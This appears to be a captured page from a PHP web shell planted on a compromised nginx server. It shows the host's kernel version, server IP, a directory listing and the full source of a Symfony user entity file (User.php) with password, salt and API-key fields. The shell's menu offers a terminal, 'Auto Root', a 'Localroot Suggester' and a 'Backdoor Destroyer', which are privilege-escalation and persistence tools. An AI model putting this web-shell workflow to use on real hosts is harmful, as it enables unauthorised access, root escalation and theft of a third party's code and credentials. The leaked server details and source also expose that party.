Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.218.135.221
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
src /
Entity /
Delete
Unzip
Name
Size
Permission
Date
Action
.gitignore
0
B
-rw-rw-r--
2022-08-25 15:00
Catalog.php
6.21
KB
-rw-rw-r--
2023-08-11 07:51
CatalogLog.php
6.12
KB
-rw-rw-r--
2023-08-11 07:51
CatalogUpdates.php
1.31
KB
-rw-rw-r--
2023-03-15 13:04
Incomes.php
6.55
KB
-rw-rw-r--
2023-04-27 08:04
Orders.php
9.43
KB
-rw-rw-r--
2023-07-23 16:00
OrdersLog.php
9.77
KB
-rw-rw-r--
2023-07-23 16:00
Reports.php
24.52
KB
-rw-rw-r--
2023-07-23 16:34
Sales.php
12.44
KB
-rw-rw-r--
2023-04-27 08:04
SalesLog.php
12.79
KB
-rw-rw-r--
2023-06-10 20:27
Stocks.php
8.73
KB
-rw-rw-r--
2023-05-24 07:20
StocksLog.php
9.08
KB
-rw-rw-r--
2023-07-03 06:46
User.php
11.22
KB
-rw-rw-r--
2023-08-29 09:18
Warehouses.php
2.45
KB
-rw-rw-r--
2023-04-27 08:04
Save
Rename
<?php namespace App\Entity; use FOS\UserBundle\Model\User as BaseUser; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\Security\Core\User\UserInterface as BaseUserInterface; /** * @ORM\Entity * @ORM\Table(name="fos_user") */ class User extends BaseUser { /** * @ORM\Id * @ORM\Column(type="integer") * @ORM\GeneratedValue(strategy="AUTO") */ protected $id; /** * @var string * @ORM\Column(type="string", length=20) */ protected $phone; /** * @var string * ORM\Column(type="string", length=255) */ protected $username; /** * @var string * ORM\Column(type="string", length=255) */ protected $usernameCanonical; /** * @var string * ORM\Column(type="string", length=255) */ protected $email; /** * @var string * ORM\Column(type="string", length=255) */ protected $emailCanonical; /** * @var bool * ORM\Column(type="boolean") */ protected $enabled; /** * The salt to use for hashing. * * @var string * ORM\Column(type="string", length=255) */ protected $salt; /** * Encrypted password. Must be persisted. * * @var string * ORM\Column(type="string", length=255) */ protected $password; /** * Plain password. Used for model validation. Must not be persisted. * * @var string|null * ORM\Column(type="string", length=255) */ protected $plainPassword; /** * @var \DateTime|null * ORM\Column(type="datetime") */ protected $lastLogin; /** * Random string sent to the user email address in order to verify it. * * @var string|null * ORM\Column(type="string", length=255) */ protected $confirmationToken; /** * @var \DateTime|null * ORM\Column(type="datetime") */ protected $passwordRequestedAt; /** * @var array * ORM\Column(type="array") */ protected $roles; /** * The salt to use for hashing. * * @var string * @ORM\Column(type="string", length=255) */ protected $standartApiKey; /** * The salt to use for hashing. * * @var string * @ORM\Column(type="string", length=255) */ protected $statisticsApiKey; /** * The salt to use for hashing. * * @var string * @ORM\Column(type="integer") */ protected $commisionPlan; /** * The salt to use for hashing. * * @var string * @ORM\Column(type="integer") */ protected $logisticsPlan; public function __construct() { parent::__construct(); $this->enabled = false; $this->roles = []; } /** * @return string */ public function __toString() { return (string) $this->getUsername(); } public function __serialize(): array { return [ $this->password, $this->salt, $this->usernameCanonical, $this->username, $this->enabled, $this->id, $this->email, $this->emailCanonical, ]; } public function __unserialize(array $data): void { if (13 === count($data)) { // Unserializing a User object from 1.3.x unset($data[4], $data[5], $data[6], $data[9], $data[10]); $data = array_values($data); } elseif (11 === count($data)) { // Unserializing a User from a dev version somewhere between 2.0-alpha3 and 2.0-beta1 unset($data[4], $data[7], $data[8]); $data = array_values($data); } list( $this->password, $this->salt, $this->usernameCanonical, $this->username, $this->enabled, $this->id, $this->email, $this->emailCanonical ) = $data; } /** * {@inheritdoc} */ public function addRole($role) { $role = strtoupper($role); if ($role === static::ROLE_DEFAULT) { return $this; } if (!in_array($role, $this->roles, true)) { $this->roles[] = $role; } return $this; } /** * {@inheritdoc} */ public function eraseCredentials() { $this->plainPassword = null; } /** * {@inheritdoc} */ public function getId() { return $this->id; } public function getUserIdentifier(): string { return (string)$this->email; } /** * {@inheritdoc} * * @return string */ public function getUsername() { return $this->username; } /** * {@inheritdoc} */ public function getUsernameCanonical() { return $this->usernameCanonical; } /** * {@inheritdoc} */ public function getSalt(): ?string { return $this->salt; } /** * {@inheritdoc} */ public function getEmail() { return $this->email; } /** * {@inheritdoc} */ public function getEmailCanonical() { return $this->emailCanonical; } /** * {@inheritdoc} */ public function getPassword(): ?string { return $this->password; } /** * {@inheritdoc} */ public function getPlainPassword() { return $this->plainPassword; } /** * Gets the last login time. * * @return \DateTime|null */ public function getLastLogin() { return $this->lastLogin; } /** * {@inheritdoc} */ public function getConfirmationToken() { return $this->confirmationToken; } /** * {@inheritdoc} */ public function getRoles(): array { $roles = $this->roles; // we need to make sure to have at least one role $roles[] = static::ROLE_DEFAULT; return array_values(array_unique($roles)); } /** * {@inheritdoc} */ public function hasRole($role) { return in_array(strtoupper($role), $this->getRoles(), true); } public function isEnabled() { return $this->enabled; } /** * {@inheritdoc} */ public function isSuperAdmin() { return $this->hasRole(static::ROLE_SUPER_ADMIN); } /** * {@inheritdoc} */ public function removeRole($role) { if (false !== $key = array_search(strtoupper($role), $this->roles, true)) { unset($this->roles[$key]); $this->roles = array_values($this->roles); } return $this; } /** * {@inheritdoc} */ public function setUsername($username) { $this->username = $username; return $this; } /** * {@inheritdoc} */ public function setUsernameCanonical($usernameCanonical) { $this->usernameCanonical = $usernameCanonical; return $this; } /** * {@inheritdoc} */ public function setSalt($salt) { $this->salt = $salt; return $this; } /** * {@inheritdoc} */ public function setEmail($email) { $this->email = $email; return $this; } /** * {@inheritdoc} */ public function setEmailCanonical($emailCanonical) { $this->emailCanonical = $emailCanonical; return $this; } /** * {@inheritdoc} */ public function setEnabled($boolean) { $this->enabled = (bool) $boolean; return $this; } /** * {@inheritdoc} */ public function setPassword($password) { $this->password = $password; return $this; } /** * {@inheritdoc} */ public function setSuperAdmin($boolean) { if (true === $boolean) { $this->addRole(static::ROLE_SUPER_ADMIN); } else { $this->removeRole(static::ROLE_SUPER_ADMIN); } return $this; } /** * {@inheritdoc} */ public function setPlainPassword($password) { $this->plainPassword = $password; return $this; } /** * {@inheritdoc} */ public function setLastLogin(\DateTime $time = null) { $this->lastLogin = $time; return $this; } /** * {@inheritdoc} */ public function setConfirmationToken($confirmationToken) { $this->confirmationToken = $confirmationToken; return $this; } /** * {@inheritdoc} */ public function setPasswordRequestedAt(\DateTime $date = null) { $this->passwordRequestedAt = $date; return $this; } /** * Gets the timestamp that the user requested a password reset. * * @return \DateTime|null */ public function getPasswordRequestedAt() { return $this->passwordRequestedAt; } /** * {@inheritdoc} */ public function isPasswordRequestNonExpired($ttl) { return $this->getPasswordRequestedAt() instanceof \DateTime && $this->getPasswordRequestedAt()->getTimestamp() + $ttl > time(); } /** * {@inheritdoc} */ public function setRoles(array $roles) { $this->roles = []; foreach ($roles as $role) { $this->addRole($role); } return $this; } /** * {@inheritdoc} */ public function isEqualTo(BaseUserInterface $user): bool { if (!$user instanceof self) { return false; } if ($this->password !== $user->getPassword()) { return false; } if ($this->salt !== $user->getSalt()) { return false; } if ($this->username !== $user->getUsername()) { return false; } return true; } /** * @return string */ public function getPhone() { return $this->phone; } /** * @param string $phone */ public function setPhone($phone) { $this->phone = $phone; } /** * @return string */ public function getStandartApiKey() { return $this->standartApiKey; } /** * @param string $standartApiKey */ public function setStandartApiKey($standartApiKey) { $this->standartApiKey = $standartApiKey; } /** * @return string */ public function getStatisticsApiKey() { return $this->statisticsApiKey; } /** * @param string $statisticsApiKey */ public function setStatisticsApiKey($statisticsApiKey) { $this->statisticsApiKey = $statisticsApiKey; } /** * @return string */ public function getCommisionPlan() { return $this->commisionPlan; } /** * @param string $commisionPlan */ public function setCommisionPlan($commisionPlan) { $this->commisionPlan = $commisionPlan; } /** * @return string */ public function getLogisticsPlan() { return $this->logisticsPlan; } /** * @param string $logisticsPlan */ public function setLogisticsPlan($logisticsPlan) { $this->logisticsPlan = $logisticsPlan; } } ?>